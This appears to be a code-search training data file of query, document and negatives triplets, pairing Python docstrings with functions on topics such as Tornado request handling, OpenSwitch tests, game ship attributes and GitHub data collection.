[ "def test_errors():\n\n\n lexicon = scanner.Scanner()\n\n assert_equal(lexicon.scan(\"asdfasdf\"), [('error', 'asdfasdf')])\n result = lexicon.scan(\"bear IAS princess\")\n assert_equal(result, [('noun', 'bear'), ('error', 'ias'), ('noun', 'princess')])", "def __check_and_handle_errors(self,output):\n...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the loss function that will be used to train the encoder.
def get_loss_fn(self): raise NotImplementedError()
[ "def _get_loss_function(self, loss):\n try:\n loss_ = self.loss_functions[loss]\n loss_class, args = loss_[0], loss_[1:]\n if loss in ('huber', 'epsilon_insensitive',\n 'squared_epsilon_insensitive'):\n args = (self.epsilon, )\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Switches the dataset state to the next epoch. The default implementation for this method is to reset the state. Returns
def next_epoch(self, state): return self.reset(state)
[ "def new_epoch(self):\n self._curr_batch = 0\n if self.shuffle_order:\n self.shuffle()", "def _reset(self):\n np.random.shuffle(self.id)\n self.episode_step = 0 # Reset episode step counter at the end of every episode\n self._state = self.X_train[self.id[self.episode...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Use the default iteration scheme to construct a data stream.
def get_default_stream(self): if not hasattr(self, 'default_scheme'): raise ValueError("Dataset does not provide a default iterator") return DataStream(self, iteration_scheme=self.default_scheme)
[ "def make_data_iterator(input):\n assert isinstance(input, DataLoader)\n data_iterator = iter(input)\n return data_iterator", "def _handle_stream_iteration(self) -> None:\n pass", "def __iter__(self):\n for sample in self.data:\n yield sample", "def __iter__(self):\n r...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Filter the requested sources from those provided by the dataset. A dataset can be asked to provide only a subset of the sources it can provide (e.g. asking MNIST only for the features, not for the labels). A dataset can choose to use this information to e.g. only load the requested sources into memory. However, in case...
def filter_sources(self, data): return tuple([d for d, s in zip(data, self.provides_sources) if s in self.sources])
[ "def filter_datasets(\n datasets: Datasets,\n sources: OptionalSourceFilterType\n) -> FilteredDatasets:\n return FilteredDatasets(\n datasets=datasets,\n source_filters=sources,\n zfs=datasets.zfs,\n logger=datasets.logger\n )", "def _find_source_datasets(self, stat: Output...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create properties that perform lazy loading of attributes.
def lazy_property_factory(lazy_property): def lazy_property_getter(self): if not hasattr(self, '_' + lazy_property): self.load() if not hasattr(self, '_' + lazy_property): raise ValueError("{} wasn't loaded".format(lazy_property)) ...
[ "def add_attr_properties(cls):\n for attr in cls.attrs_depth_index + cls.attrs_fdtd_index + cls.attrs_no_index:\n if hasattr(cls, attr):\n continue\n def prop(self, attr=attr):\n if getattr(self, \"_\" + attr) is None:\n getattr(self, \"load_\" + attr)()\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Render a Django response and finish up this request. You'll need to call this if the view function/method is a coroutine.
def render(self, response): logger.debug("TornadoRequest::render") response = self._handler.finish_response(self, response) logger.debug("response: Finished")
[ "def render_response(self, response, environ, start_response):\n return response(environ, start_response)", "def get_final_response(self,request,response):\n return response", "def render(*args, **kwargs):\n with queries_disabled():\n response = django_render(*args, **kwargs)\n return...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Convenience wrapper for the Tornado request's write() method.
def write(self, chunk): return self.tornado_request.write(chunk)
[ "def write(self, *args, **kwargs):\n\n self.response.out.write(*args, **kwargs)", "def write_request(self, request):\n msg = self.serialise_cbor_request(request)\n written = 0\n while written < len(msg):\n written += self.write(msg[written:])", "def _writeRequest(self, req...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Convenience wrapper for the Tornado request's finish() method.
def finish(self): return self.tornado_request.finish()
[ "def _finish_request(self, output, request):\n if output:\n request.write(output)\n request.finish()", "def finish(self, *args, **kwds):\n if hasattr(self, \"sql_session\"):\n try:\n self.sql_session.close()\n except Exception as error:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the equivalent of the HTTP request's SCRIPT_NAME header variable. If Apache mod_rewrite has been used, returns what would have been the script name prior to any rewriting (so it's the script name as seen from the client's perspective), unless the FORCE_SCRIPT_NAME setting is set (to anything).
def get_script_name(t_req): if settings.FORCE_SCRIPT_NAME is not None: return force_text(settings.FORCE_SCRIPT_NAME) # If Apache's mod_rewrite had a whack at the URL, Apache set either # SCRIPT_URL or REDIRECT_URL to the full resource URL before applying any # rewrites. Unfortunately not every ...
[ "def get_script_name(environ):\n if settings.FORCE_SCRIPT_NAME is not None:\n return force_text(settings.FORCE_SCRIPT_NAME)\n\n # If Apache's mod_rewrite had a whack at the URL, Apache set either\n # SCRIPT_URL or REDIRECT_URL to the full resource URL before applying any\n # rewrites. Unfortunate...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
More proper boolean operator for easier reading. return 1 Indicate a found listener return 0 Indicates nobody listening
def is_listening(port): return not listening(port)
[ "def islisten(self):\n return self._islisten", "def listening(self):\n return self._server is not None", "def hasListenerUp(self):\n return not self.listenerUp.isNull()", "def hasListenerView(self):\n return not self.listenerView.isNull()", "def _check_listening_with_flags(self, ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Process runtime args. Based on the args, run the program. Return the number of listeners for all provided ports. 100 == error for port
def main(): import getopt try: options, remainder = getopt.getopt( sys.argv[1:], '', ['help', # Print usage msg, exit 'short', # Output is shortened 'pid', # Output only pid of listenig process 'proc', # Output only process ...
[ "def portcheck_main(args=sys.argv[1:]):\n ports = portcheck(*args)\n for i in ports:\n print '%s: %s' % (i, ports[i])\n return 0", "def main(args):\n if '-' in args['-p']:\n tmp = args['-p'].split('-')\n tgtPorts = [str(i) for i in xrange(int(tmp[0]), int(tmp[1])+1)]\n else:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Testing opssysd correctly stores switch_version column. Test if the opssysd correctly parse the osrelease file and stores the information in the OVSDB.
def check_switch_version(dut, file_name): copy_os_release_file(dut, file_name) # Restart the ovsdb-server and sysd start(dut) version_id = read_os_release_file(dut, file_name, 'VERSION_ID') build_id = read_os_release_file(dut, file_name, 'BUILD_ID') expected = "{0} (Build: {1})".format(version_...
[ "def test_os_release(self):\n self.assertNotEqual(self.results.os_release, None, \"os_release is not None\")", "def test_update_hyperflex_server_firmware_version(self):\n pass", "def test_os_version(self):\n self.assertNotEqual(self.results.os_version, None, \"os_version is not None\")", ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Read the local osrelease file and return the data.
def read_os_release_file(dut, fname=default_os_release_file, key=None): cur_dir, f = os.path.split(__file__) path = os.path.join(cur_dir, os_release_files_dir, fname) d = {} with open(path) as f: for line in f: k, v = line.rstrip().split("=") d[k] = v if key: ...
[ "def read_release_version():\n with open(\"RELEASE-VERSION\", \"r\") as f:\n return f.readline().strip()", "def parse_os_release():\n\n # Set os_release_file to the first item in the list that exists\n os_release_file = [\n file for file in [\"/etc/os-release\", \"/usr/lib/os-release\"]\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Copy a given osrelease file to /etc/osrelease.
def copy_os_release_file(dut, fname=default_os_release_file): # src = os.path.join(os.path.sep, 'shared', os_release_files_dir, fname) dst = os.path.join(os.path.sep, 'etc', 'os-release') dut("/bin/cp /tmp/files/os_releases/" + fname + " " + dst, shell="bash")
[ "def update_os_release_file(**kwargs):\n\n LOGGER.info(\"Doing pre-flight checks\")\n\n releases_repo_url = OPENSTACK_REPOS + '/releases.git'\n releases_folder = kwargs['workdir'] + '/releases'\n\n oa_folder = kwargs['workdir'] + '/openstack-ansible'\n click.confirm((\"Are your sure your {} folder is...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Remove the OpenSwitch DB from ovsdbserver. It also removes the DB file from the file system.
def stop_ovsdb(dut): # Remove the database from the ovsdb-server. dut(ovs_appctl + "-t ovsdb-server ovsdb-server/remove-db OpenSwitch", shell="bash") # Remove the DB file from the file system. dut("/bin/rm -f /var/run/openvswitch/ovsdb.db", shell="bash")
[ "def _remove_old_db() -> None:\r\n dbpath = _getDBPath()\r\n try:\r\n print(f\"Removing old db at {dbpath}\")\r\n os.remove(dbpath)\r\n return\r\n except FileNotFoundError:\r\n return\r\n except Exception as e:\r\n print(f\"Failed to remove file at: {dbpath}: {e}\")\r\...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Draws range of tower if clicked on.
def draw_range(self, win): if self.selected: surface = pygame.Surface((self.range * 4, self.range * 4), pygame.SRCALPHA, 32) pygame.draw.circle(surface, (128, 128, 128, 100), (self.range, self.range), self.range, 0) win.blit(surface, (self.x - self.range, self.y - self.range...
[ "def draw_on_clicked(tool, pos):\n x, y = pos\n\n pygame.draw.rect(WIN, tool.color, (x, y, tool.thickness, tool.thickness))", "def draw_bounds():\n\n pass", "def range(self, event):\r\n \r\n p = (event.x, self.toCartesian(event.y))\r\n \r\n if self.selectedRegion is None:\r...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the scan resolution in mm of the ship.
def scanResolution(self): return self._getAttribute(Attribute.scanResolution)
[ "def count_resolution(self):\n if self.config.system.cut:\n resolution = (self.event.roi.end.X - self.event.roi.start.X, self.event.roi.end.Y - self.event.roi.start.Y)\n else:\n resolution = self.config.system.resolution\n return resolution", "def _set_resolution(self) -...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the max number of locked targets.
def maxTargets(self): return self._getAttribute(Attribute.maxTargets)
[ "def getMaxTaskCount():", "def default_max_locked_shards(self):\n max_locked_shards = int(self.default_child_processes()) // 4\n if not max_locked_shards:\n return 1\n return max_locked_shards", "def maxTasksAchievable(self):\n maxTasks = 0\n for w in self._workers:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the sensor strength of the ship.
def sensorStrength(self): # TODO: also return type of sensor radar = self._getAttribute(Attribute.scanRadarStrength) ladar = self._getAttribute(Attribute.scanLadarStrength) magnetometric = self._getAttribute(Attribute.scanMagnetometricStrength) gravimetric = self._getAttribute(Attribute.scanGravimet...
[ "def GetStrength(self) -> float:\n ...", "def strength(self):\n return self._strength", "def strength(self):\n # type: () -> NexGuardWatermarkingStrength\n return self._strength", "def wireless_signal_strength(self) -> int:\n return self.data[Attribute.WIRELESS_SIGNAL_STRENG...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns details about the ship's capacitor.
def capacitor(self): capacity = self._getAttribute(Attribute.capacitorCapacity) recharge = self._getAttribute(Attribute.capacitorRecharge) recharge /= 1000 # milliseconds return { "capacity": capacity, "recharge": recharge, }
[ "def getShip(self):\r\n return self._ship", "def capacitors(self):\n self._cap = {}\n for el, val in self.components.items():\n if val.type == \"Capacitor\":\n self._cap[el] = val\n return self._cap", "def getShip(self):\n return self._ship", "def m...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns details about the ship's armor. Resists are integers from 0 to 100.
def armor(self): capacity = self._getAttribute(Attribute.armorCapacity) em = self._getAttribute(Attribute.armorEM) explosive = self._getAttribute(Attribute.armorExplosive) kinetic = self._getAttribute(Attribute.armorKinetic) thermal = self._getAttribute(Attribute.armorThermal) em = 1.0 - em ...
[ "def get_armor_equipped(self):\n\t\treturn self.equippedArmor", "def armor_pen(self):\n return self._armor_pen", "def get_armor_pen(soup):\n return int(soup.find(\"td\", attrs={\"data-tdoll-stat-id\": \"penetration\"}).text)", "def get_armor(wclass, soup):\n if wclass == \"SG\":\n min_armo...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns details about the ship's hull. Resists are integers from 0 to 100.
def hull(self): capacity = self._getAttribute(Attribute.hullCapacity) em = self._getAttribute(Attribute.hullEM) explosive = self._getAttribute(Attribute.hullExplosive) kinetic = self._getAttribute(Attribute.hullKinetic) thermal = self._getAttribute(Attribute.hullThermal) em = 1.0 - em explo...
[ "def get_hull_points(self, show_progress):\n if self.points and not self.hull_points:\n self.graham_scan(show_progress)\n print(\"Input: {} points\").format(len(self.points))\n print(\"Convex hull: {} points\").format(len(self.hull_points))\n return self.hull_points", ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the agility of the ship.
def agility(self): return self._getAttribute(Attribute.agility)
[ "def get_agility(self):\n return self.__agility", "def is_ship_alive(ship):\n\n # If and when flag systems become advanced enough **FUN** things can\n # be applied to make this check more hilarious.\n return ship.attributes.hull > 0 # though it can't be < 0", "def get_strength(self):\n r...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the signature radius of the ship.
def signatureRadius(self): return self._getAttribute(Attribute.signatureRadius)
[ "def get_radius(self):\n return self._handler.get_radius()", "def get_radius(self):\n return self.radius", "def get_radius(self):\n return self.__size * Asteroid.ASTEROID_RADIUS_FACTOR + Asteroid.ASTEROID_RADIUS_NORMALIZER", "def get_radius(self):\r\n return self._handler.get_radiu...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the warp speed of the ship in AU/s.
def warpSpeed(self): multiplier = self._getAttribute(Attribute.warpSpeedMultiplier) return multiplier * self.baseWarpSpeed
[ "def get_wind_speed(self):\n return round(self.response.json()['wind']['speed']*3.6, 2)", "def speed(self):\n vx, vy = self.velocity\n return np.sqrt(vx**2 + vy**2)", "def wind_speed(self):\n return self.flow_field.wind_speed", "def speed(self):\n return sqrt(self.velocity_x...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Here we drop the first column, which is useless and rename the columns with uppercase.
def cleaning_data(): data.drop(["Unnamed: 0"], axis = 1, inplace = True) data.columns = map(str.upper, data.columns) return data
[ "def capitalize_column_names(self, df):\n df.columns = [x.upper() for x in df.columns.tolist()]\n return df", "def fix_col_names(self):\n col_names = [] \n for n in self.df.columns:\n coln = n.lower()\n coln = re.sub(\"([-_.\\(\\) ])\", '_', coln)\n col...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
In this function, we call the API of NBA Stats thanks to the inspecting console to update our original dataset from Kaggle. The cool point here is that we are gonna update this dataset with info from the current season. Although is not ended yet, it's fine in order to enrich our data.
def calling_api(): url_bio = "https://stats.nba.com/stats/leaguedashplayerbiostats?College=&Conference=&Country=&DateFrom=&DateTo=&Division=&DraftPick=&DraftYear=&GameScope=&GameSegment=&Height=&LastNGames=0&LeagueID=00&Location=&Month=0&OpponentTeamID=0&Outcome=&PORound=0&PerMode=PerGame&Period=0&PlayerExperience...
[ "def season_scraper():\n\n data_frames = []\n\n seasons = [\"https://www.baseball-reference.com/leagues/majors/2019-schedule.shtml\", \"https://www.baseball-reference.com/leagues/majors/2020-schedule.shtml\", \"https://www.baseball-reference.com/leagues/majors/2021-schedule.shtml\"]\n\n for season in seaso...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
A room with an unknown room version should not break sync (and should be excluded).
def test_unknown_room_version(self) -> None: inviter = self.register_user("creator", "pass", admin=True) inviter_tok = self.login("@creator:test", "pass") user = self.register_user("user", "pass") tok = self.login("user", "pass") # Do an initial sync on a different device. ...
[ "def test_update_room_base(self):\n pass", "def test_update_room_space_maintenance(self):\n pass", "def test_update_room(self):\n pass", "def test_update_room_type(self):\n pass", "def test_update_room_attribute(self):\n pass", "def test_update_room_manager(self):\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Rooms shouldn't appear under "joined" if a join loses a race to a ban.
def test_ban_wins_race_with_join(self) -> None: # A local user Alice creates a room. owner = self.register_user("alice", "password") owner_tok = self.login(owner, "password") room_id = self.helper.create_room_as(owner, is_public=True, tok=owner_tok) # Do a sync as Alice to get t...
[ "def check_rooms(self, exclude=[]):\n stmt = Session.query(Lesson.room, Lesson.day, Lesson.order,\n Lesson.schedule_id)\n stmt = stmt.group_by(Lesson.room, Lesson.order, Lesson.day, Lesson.schedule_id)\n stmt = stmt.having(func.count(Lesson.room)>1)\n stmt = stmt.filter(not_(L...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Generate a sync config (with a unique request key).
def generate_sync_config( user_id: str, device_id: Optional[str] = "device_id" ) -> SyncConfig: global _request_key _request_key += 1 return SyncConfig( user=UserID.from_string(user_id), filter_collection=Filtering(Mock()).DEFAULT_FILTER_COLLECTION, is_guest=False, reques...
[ "def get_generated_config(self, auth_provider: KeyProvider, secret_key):\n\n generated_config = {\n 'jupyterhub': {\n 'proxy': {\n 'https': {\n 'hosts': [self.spec['domain']]\n }\n },\n 'ingre...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Save the beam parameter type with the specified name, description and units.
def _savebeamparamproptype(self, cursor, bpptname, bpptunit=None, bpptdesc=None): sql = """ INSERT INTO beam_param_prop_type ( beam_param_prop_type_name, beam_param_prop_type_desc, beam_param_prop_type_unit ) VALUES ( '%s', %s, %s ) ...
[ "def addParam(cls, name, param_type=StringType, required=False):\n cls.parameters[name] = {\"type\":param_type, \"required\":required}", "def save_params(params: Any, params_type: str) -> None:\n params = copy.deepcopy(params)\n\n ensure_created_directory(dirs.out_path('params'))\n with open(dirs.out_...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Query the DB for the beam parameter property type with the given name and units.
def retrievebeamparamproptype(self, cursor, bpptname, bpptunit=None): sql = """ SELECT beam_param_prop_type_id, beam_param_prop_type_name, beam_param_prop_type_desc, beam_param_prop_type_unit FROM beam_param_prop_type WHERE ...
[ "def get_all_properties_type():\n\n results = client.db.property_types.find({})\n return send_result(data=list(results))", "def test_get_parameter(self):\n\n prt = Part.objects.get(pk=3)\n\n # Check that we can get a parameter by name\n for name in ['Length', 'Width', 'Thickness']:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Checks validity of post request
def check_post(*params, conn, event): # check that connection to db valid if conn is None: return (False, connection_error()) # check that post request body is not empty if event.get('body') is None: return (False, format_response(404, {"error":"post request is empty"})) request = ...
[ "def test_post(self):\n self.assertEqual(status.HTTP_400_BAD_REQUEST, self.resp.status_code)", "def verify_post_data ( ):\n # check every field is present\n try:\n request.json[ 'source_lang' ]\n request.json[ 'target_lang' ]\n request.json[ 'text' ]\n\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Sets the data_aggregation_setting of this RawDataSettingsV1.
def data_aggregation_setting(self, data_aggregation_setting): self._data_aggregation_setting = data_aggregation_setting
[ "def aggregate(self, aggregation):\n self._data = self._data.aggregate(**aggregation)", "def domain_aggregation(self, domain_aggregation):\n self._domain_aggregation = domain_aggregation", "def region_aggregation(self, region_aggregation):\n self._region_aggregation = region_aggregation", ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Sets the raw_data_setting of this RawDataSettingsV1.
def raw_data_setting(self, raw_data_setting): self._raw_data_setting = raw_data_setting
[ "def raw(self, raw):\n\n self._raw = raw", "def set_data(self, raw_data):\n\n if raw_data.x_data is not None:\n # todo more efficient implementation over numpy_repo to avoid loading all and then cutting off\n setattr(self, 'x_data', raw_data.x_data)\n if raw_data.y_data ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Sets the units_setting of this RawDataSettingsV1.
def units_setting(self, units_setting): self._units_setting = units_setting
[ "def units(self, units):\n\n self._units = units", "def setUnits(self, *args):\n return _libsbml.Parameter_setUnits(self, *args)", "def setunits(self, *args, **kwargs):\n return _coordsys.coordsys_setunits(self, *args, **kwargs)", "def setDistanceUnits(self, units: Unit) -> None:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Sets the work_hours_setting of this RawDataSettingsV1.
def work_hours_setting(self, work_hours_setting): self._work_hours_setting = work_hours_setting
[ "def work_hours_num(self, work_hours_num):\n self._work_hours_num = work_hours_num", "def work_hours(self, work_hours):\n if work_hours is not None and len(work_hours) > 1024:\n raise ValueError(\"Invalid value for `work_hours`, length must be less than or equal to `1024`\") # noqa: E501...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
computes the closing balance, reports the invalid transactions and displays the closing balance as well as the account status
def balance(self): #a couple of assumptions not clear in assignment #1) there is always an invalid transaction #2) there is only 1 invalid transaction closeBalance=0 invalidTrans=0 withdrawCount=0 depositCount=0 # print(self.numList) for i in range(...
[ "def displayBalance(self):\n orders = self.trader.tradeData.get(\n 'openOrders',\n 'Failed to read orderCount')\n# uncomment 3 lines below for orderType debug printing\n## ordertype = type(orders)\n# print'DEBUG: helper.displayBalance orders TYPE is',ordertype\n# print'DEBUG: hel...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
extract pages and then Request those pages sequecely
def extract(self, response): # print response.url,"extract response url" sel = response.selector pages = [] try: # print "pages work" pages = sel.xpath("//div[contains(@class,'fen_ye_nav')]//td/text()").re(u"共([\d]{1,3})页") # print pages except...
[ "def parse(self, response):\n # url = response.xpath('//*[@id=\"entry_672279\"]/div[2]/h2/a/@href').extract_first(\"\")\n # url = response.xpath('//div[@id=\"news_list\"]//h2[@class=\"news_entry\"]/a/@href').extract()\n # sel = Selector(text=response.text)\n # urls = response.css('div#ne...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
check whether the input is in self.app_path
def check_path(self, path): if path in self.app_path: return True else: return False
[ "def _check_study_app_request(context):\n # NOTE: This assumes 'scopes' was overwritten by get_context_data.\n scopes = [x[0] for x in context['scopes']]\n\n try:\n scopes.remove('read')\n scopes.remove('write')\n except ValueError:\n return False\n\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
RouterShell中的特有接口,在单步执行hadoop job时,选择hdfs上的一个part作为输入,进行debug。 debug [n numofparts] [m numofmapers] [r numofreducers] jobname [[ARG1] ...] 说明见 help_debug.
def do_debug(self, line): fields = line.strip().split() n = len(fields) if n == 0 : self.help_debug() else: try: (opt, path, args) = self._debug_parse_args(fields) except ArgParseError: self.help_debug() ...
[ "def run_debug(args):\n cpu = get_program(args.filename, args.protect_memory)\n debug(cpu)", "def debug():", "def debug(self):\n self.args[\"pylog\"](self.args)", "def debug(*args):\n for arg in args:\n print(arg, file=stderr)", "def run(args):\n __number_of_ransomware__ = args.n\n...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
invoke hadoop dfs commands
def do_dfs(self, line): args = filter(None, line.strip().split()) if not args: self.help_dfs() else: cmds = ["dfs"]+args (retcode, stdout) = hadoop_cmd(cmds, MJob.hadoop_home) if retcode is False: pass # Popen failed els...
[ "def hadoop(self, command, *args, **kwargs):\n hadoop_cmd = \"-{}\".format(re.sub(\"^-*\", \"\", command))\n return self.exec(\"hadoop fs\", hadoop_cmd, *args, **kwargs)", "def _call(self, cmd, *args, **kwargs):\r\n cmd = ['hadoop', '--config', self._config, 'dfs', cmd] + list(args)\r\n heapsi...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Used internally by all save queries to save the json responses directly to an elasticsearch node.
def _save_elasticsearch(self, json_response, index, doc_type): try: _ = self._ensure_es_index(index) data = self.elasticsearch.index(index=index, doc_type=doc_type, body=json.dumps(json_response)) ...
[ "def serialize(self, value):\n # (Any) -> json\n # this is called when writing to elasticsearch", "def _write_to_elastic(data):\n # Construct the post body for the bulk index\n json_body = ''\n while data:\n datum = data.pop()\n idx = f\"{_PREFIX}.{datum['index']}\"\n j...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Used internally when writing to elasticsearch to ensure a given index exists.
def _ensure_es_index(self, index): if not self.elasticsearch.indices.exists(index): try: self.elasticsearch.indices.create(index=index) except TransportError as error_msg: self.logger.error(str(error_msg.error)) return False sel...
[ "def check_exists(self, index: str) -> bool:\n\n if self.es.indices.exists(index=index):\n return True\n return False", "def index_exists(self, index_name):\n return self.client.indices.exists(index_name)", "def _checkIndex(self, index):\n # OPT: lets not reuse isKnown, to don...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Writes to either the filesystem or elasticsearch depending on the configuration settings.
def _write_to_datastore(self, index, doc_type, document, login, path): if self.config['Github']['datastore'] == 'filesystem': filename = self._generate_filename(doc_type, login) self._save_file(json.dumps(document), path, filename) elif self.config['Github']['datastore'] == 'elas...
[ "def write(self, index_name, document, search_by=\"time\"):\n\n if search_by is \"time\":\n res = self.search_by_time(index_name, document['time'])\n else:\n raise NotImplementedError(\"haha, contact Achin :)\")\n\n if res['hits']['total']>0:\n for doc in res['h...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves user account information to disk by querying Github GraphQL v4 API.
def save_user(self, user, path=None): # Check if this user already exists in elasticsearch index = ''.join(['gh_user-', self.timestamp]) self._write_to_datastore(index=index, doc_type='GithubUser', document=user.response, ...
[ "def save_user_account(user):\n user.save_user()", "def save_user(self):\n self.execute('SAVE MYSQL USERS TO DISK')", "def save_user(user):\n user.save_user()", "def sync_account(user_id):\n # Local import to avoid circular imports\n from .api import GitHubAPI\n\n # Start a nested transa...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves a list of commit comments made by this user.
def save_commit_comments(self, user, path=None): # Redis has an end_cursor if we've collected this data before end_cursor = self.redis.get(''.join(['gh:', user.login, ':commitComments:endCursor'])) if end_cursor: end_cursor = end_cursor.decode('utf-8') end_cursor = ''.joi...
[ "def save_comment(self):\n # COMMENTS_LEN.append(self)\n save_comment_query = \"\"\"\n INSERT INTO comments(user_id, question_id, title, body, comment) VALUES(\n '{}', '{}', '{}', '{}', '{}'\n )\"\"\".format(self.user_id, self.question_id, self.title,\n self...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves a list of gist comments made by this user.
def save_gist_comments(self, user, path=None): # Redis has an end_cursor if we've collected this data before end_cursor = self.redis.get(''.join(['gh:', user.login, ':gistComments:endCursor'])) if end_cursor: end_cursor = end_cursor.decode('utf-8') end_cursor = ''.join(['...
[ "def save_comment(self):\n # COMMENTS_LEN.append(self)\n save_comment_query = \"\"\"\n INSERT INTO comments(user_id, question_id, title, body, comment) VALUES(\n '{}', '{}', '{}', '{}', '{}'\n )\"\"\".format(self.user_id, self.question_id, self.title,\n self...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves a list of Gists the user has created.
def save_gists(self, user, path=None): # Redis has an end_cursor if we've collected this data before end_cursor = self.redis.get(''.join(['gh:', user.login, ':gists:endCursor'])) if end_cursor: end_cursor = end_cursor.decode('utf-8') end_cursor = ''.join(['"', end_cursor,...
[ "def create(self, gist_data):\n\n _data = json.dumps(Utils.merge_objects(self.__defaults, gist_data))\n\n response = requests.post(\n self.BASE_URL + '/gists',\n data = _data,\n headers = self.__headers\n )\n\n if response.status_code == 201:\n return response.json()\n\n raise Gis...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves a list of issue comments made by this user.
def save_issue_comments(self, user, path=None): # Redis has an end_cursor if we've collected this data before end_cursor = self.redis.get(''.join(['gh:', user.login, ':issueComments:endCursor'])) if end_cursor: end_cursor = end_cursor.decode('utf-8') end_cursor = ''.join(...
[ "def save_comments():\n potential_deal_id = int(request.form.get(\"id\"))\n action = request.form.get(\"action\")\n if action.lower() == \"none\":\n action = None\n comments = request.form.get(\"comments\")\n db_handler = DBHandler()\n db_handler.update_by_id(potential_deal_id, action, comm...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Saves a list of issues associated with this user.
def save_issues(self, user, path=None): # Redis has an end_cursor if we've collected this data before last_run = self.redis.get('ghc_last_run').decode('utf-8') if last_run is None: last_run = '2004-01-01' # pull everything end_cursor = self.redis.get(''.join(['gh:', user.log...
[ "def save_issues(self):\n app.logger.debug(\"\\n\\nSaving Issues.\")\n for item in self.items:\n if not hasattr(item, 'db_item'):\n item.db_item = self.datastore._get_item(item.index, item.region, item.account, item.name)\n\n existing_issues = item.db_item.issues\n...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }